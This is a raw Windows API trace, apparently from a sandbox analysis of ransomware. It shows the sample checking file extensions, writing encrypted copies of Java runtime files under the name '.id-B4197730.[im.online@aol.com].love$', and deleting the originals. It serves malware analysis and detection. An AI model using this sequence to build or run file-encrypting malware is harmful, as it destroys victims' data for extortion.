lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0235.061] lstrlenW (lpString=".pdf") returned 4 [0235.061] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0235.061] lstrlenW (lpString=".xls") returned 4 [0235.061] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0235.061] lstrlenW (lpString=".xlsx") returned 5 [0235.061] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0235.061] lstrlenW (lpString=".ppt") returned 4 [0235.061] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0235.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0235.061] lstrlenW (lpString=".zip") returned 4 [0235.061] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0235.061] lstrlenW (lpString=".rar") returned 4 [0235.061] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0235.061] lstrlenW (lpString=".bz2") returned 4 [0235.061] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0235.061] lstrlenW (lpString=".7z") returned 3 [0235.061] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0235.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0235.061] lstrlenW (lpString=".dbf") returned 4 [0235.062] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0235.062] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0235.062] lstrlenW (lpString=".1cd") returned 4 [0235.062] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0235.062] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0235.062] lstrlenW (lpString=".jpg") returned 4 [0235.062] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0235.062] lstrcmpiW (lpString1=".ttf", lpString2=".love$") returned 1 [0235.062] lstrlenW (lpString="LucidaBrightRegular.ttf") returned 23 [0235.062] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0235.064] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=344908) returned 1 [0235.064] CloseHandle (hObject=0x488) returned 1 [0235.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 0x20 [0235.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0235.064] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0235.064] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.065] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.065] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0235.065] GetLastError () returned 0x0 [0235.065] ReadFile (in: hFile=0x488, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x5434c, lpOverlapped=0x0) returned 1 [0235.669] WriteFile (in: hFile=0x4cc, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x54350, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x54350, lpOverlapped=0x0) returned 1 [0235.679] ReadFile (in: hFile=0x488, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.679] WriteFile (in: hFile=0x4cc, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x102, lpOverlapped=0x0) returned 1 [0235.679] SetEndOfFile (hFile=0x4cc) returned 1 [0235.679] CloseHandle (hObject=0x4cc) returned 1 [0235.679] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.679] SetEndOfFile (hFile=0x488) returned 1 [0235.692] CloseHandle (hObject=0x488) returned 1 [0235.692] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0235.693] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 1 [0235.694] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0235.694] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0235.694] lstrlenW (lpString=".doc") returned 4 [0235.694] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0235.694] lstrlenW (lpString=".docx") returned 5 [0235.694] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0235.694] lstrlenW (lpString=".pdf") returned 4 [0235.694] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0235.694] lstrlenW (lpString=".xls") returned 4 [0235.694] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0235.694] lstrlenW (lpString=".xlsx") returned 5 [0235.694] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0235.694] lstrlenW (lpString=".ppt") returned 4 [0235.694] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0235.694] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0235.694] lstrlenW (lpString=".zip") returned 4 [0235.694] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0235.694] lstrlenW (lpString=".rar") returned 4 [0235.695] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0235.695] lstrlenW (lpString=".bz2") returned 4 [0235.695] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0235.695] lstrlenW (lpString=".7z") returned 3 [0235.695] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0235.695] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0235.695] lstrlenW (lpString=".dbf") returned 4 [0235.695] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0235.695] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0235.695] lstrlenW (lpString=".1cd") returned 4 [0235.695] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0235.695] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0235.695] lstrlenW (lpString=".jpg") returned 4 [0235.695] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0235.695] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0235.695] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0235.695] lstrlenW (lpString=".doc") returned 4 [0235.695] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0235.695] lstrlenW (lpString=".docx") returned 5 [0235.695] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0235.695] lstrlenW (lpString=".pdf") returned 4 [0235.695] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0235.695] lstrlenW (lpString=".xls") returned 4 [0235.695] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0235.695] lstrlenW (lpString=".xlsx") returned 5 [0235.695] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0235.696] lstrlenW (lpString=".ppt") returned 4 [0235.696] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0235.696] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0235.696] lstrlenW (lpString=".zip") returned 4 [0235.696] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0235.696] lstrlenW (lpString=".rar") returned 4 [0235.696] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0235.696] lstrlenW (lpString=".bz2") returned 4 [0235.696] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0235.696] lstrlenW (lpString=".7z") returned 3 [0235.696] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0235.696] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0235.696] lstrlenW (lpString=".dbf") returned 4 [0235.696] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0235.696] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0235.696] lstrlenW (lpString=".1cd") returned 4 [0235.696] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0235.696] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0235.696] lstrlenW (lpString=".jpg") returned 4 [0235.696] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0235.696] lstrcmpiW (lpString1=".ttf", lpString2=".love$") returned 1 [0235.697] lstrlenW (lpString="LucidaSansRegular.ttf") returned 21 [0235.697] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0235.697] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=698236) returned 1 [0235.698] CloseHandle (hObject=0x488) returned 1 [0235.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 0x20 [0235.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0235.698] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0235.698] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.698] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.698] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0235.699] GetLastError () returned 0x0 [0235.699] ReadFile (in: hFile=0x488, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0xaa77c, lpOverlapped=0x0) returned 1 [0237.783] WriteFile (in: hFile=0x4cc, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xaa780, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xaa780, lpOverlapped=0x0) returned 1 [0238.395] ReadFile (in: hFile=0x488, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.395] WriteFile (in: hFile=0x4cc, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xfe, lpOverlapped=0x0) returned 1 [0238.395] SetEndOfFile (hFile=0x4cc) returned 1 [0238.513] CloseHandle (hObject=0x4cc) returned 1 [0238.527] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.527] SetEndOfFile (hFile=0x488) returned 1 [0238.545] CloseHandle (hObject=0x488) returned 1 [0238.546] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0238.551] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 1 [0238.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0238.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0238.552] lstrlenW (lpString=".doc") returned 4 [0238.552] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0238.553] lstrlenW (lpString=".docx") returned 5 [0238.553] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0238.553] lstrlenW (lpString=".pdf") returned 4 [0238.553] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0238.553] lstrlenW (lpString=".xls") returned 4 [0238.553] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0238.553] lstrlenW (lpString=".xlsx") returned 5 [0238.553] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0238.553] lstrlenW (lpString=".ppt") returned 4 [0238.553] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0238.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0238.553] lstrlenW (lpString=".zip") returned 4 [0238.553] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0238.553] lstrlenW (lpString=".rar") returned 4 [0238.553] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0238.553] lstrlenW (lpString=".bz2") returned 4 [0238.553] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0238.553] lstrlenW (lpString=".7z") returned 3 [0238.553] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0238.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0238.553] lstrlenW (lpString=".dbf") returned 4 [0238.553] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0238.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0238.553] lstrlenW (lpString=".1cd") returned 4 [0238.553] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0238.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0238.553] lstrlenW (lpString=".jpg") returned 4 [0238.553] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0238.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0238.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0238.553] lstrlenW (lpString=".doc") returned 4 [0238.554] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0238.554] lstrlenW (lpString=".docx") returned 5 [0238.554] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0238.554] lstrlenW (lpString=".pdf") returned 4 [0238.554] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0238.554] lstrlenW (lpString=".xls") returned 4 [0238.554] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0238.554] lstrlenW (lpString=".xlsx") returned 5 [0238.554] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0238.554] lstrlenW (lpString=".ppt") returned 4 [0238.554] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0238.554] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0238.554] lstrlenW (lpString=".zip") returned 4 [0238.554] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0238.554] lstrlenW (lpString=".rar") returned 4 [0238.554] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0238.554] lstrlenW (lpString=".bz2") returned 4 [0238.554] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0238.554] lstrlenW (lpString=".7z") returned 3 [0238.554] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0238.554] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0238.554] lstrlenW (lpString=".dbf") returned 4 [0238.554] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0238.554] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0238.554] lstrlenW (lpString=".1cd") returned 4 [0238.554] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0238.554] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0238.554] lstrlenW (lpString=".jpg") returned 4 [0238.554] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0238.555] lstrcmpiW (lpString1=".jar", lpString2=".love$") returned -1 [0238.555] lstrlenW (lpString="jfxswt.jar") returned 10 [0238.555] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0238.555] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=33932) returned 1 [0238.555] CloseHandle (hObject=0x488) returned 1 [0238.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 0x20 [0238.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0238.556] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0238.556] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.556] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.556] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0238.557] GetLastError () returned 0x0 [0238.557] ReadFile (in: hFile=0x488, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x848c, lpOverlapped=0x0) returned 1 [0238.561] WriteFile (in: hFile=0x4f0, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x8490, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x8490, lpOverlapped=0x0) returned 1 [0238.562] ReadFile (in: hFile=0x488, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.562] WriteFile (in: hFile=0x4f0, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xe8, lpOverlapped=0x0) returned 1 [0238.562] SetEndOfFile (hFile=0x4f0) returned 1 [0238.563] CloseHandle (hObject=0x4f0) returned 1 [0238.563] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.563] SetEndOfFile (hFile=0x488) returned 1 [0239.776] CloseHandle (hObject=0x488) returned 1 [0240.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0240.837] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 1 [0240.838] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0240.838] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0240.838] lstrlenW (lpString=".doc") returned 4 [0240.839] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0240.839] lstrlenW (lpString=".docx") returned 5 [0240.839] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0240.839] lstrlenW (lpString=".pdf") returned 4 [0240.839] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0240.839] lstrlenW (lpString=".xls") returned 4 [0240.839] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0240.839] lstrlenW (lpString=".xlsx") returned 5 [0240.839] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0240.839] lstrlenW (lpString=".ppt") returned 4 [0240.839] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0240.839] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0240.839] lstrlenW (lpString=".zip") returned 4 [0240.839] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0240.839] lstrlenW (lpString=".rar") returned 4 [0240.839] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0240.839] lstrlenW (lpString=".bz2") returned 4 [0240.839] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0240.839] lstrlenW (lpString=".7z") returned 3 [0240.839] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0240.839] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0240.839] lstrlenW (lpString=".dbf") returned 4 [0240.839] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0240.840] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0240.840] lstrlenW (lpString=".1cd") returned 4 [0240.840] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0240.840] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0240.840] lstrlenW (lpString=".jpg") returned 4 [0240.840] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0240.840] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0240.840] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0240.840] lstrlenW (lpString=".doc") returned 4 [0240.840] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0240.840] lstrlenW (lpString=".docx") returned 5 [0240.840] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0240.840] lstrlenW (lpString=".pdf") returned 4 [0240.840] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0240.840] lstrlenW (lpString=".xls") returned 4 [0240.840] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0240.840] lstrlenW (lpString=".xlsx") returned 5 [0240.840] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0240.840] lstrlenW (lpString=".ppt") returned 4 [0240.840] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0240.840] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0240.840] lstrlenW (lpString=".zip") returned 4 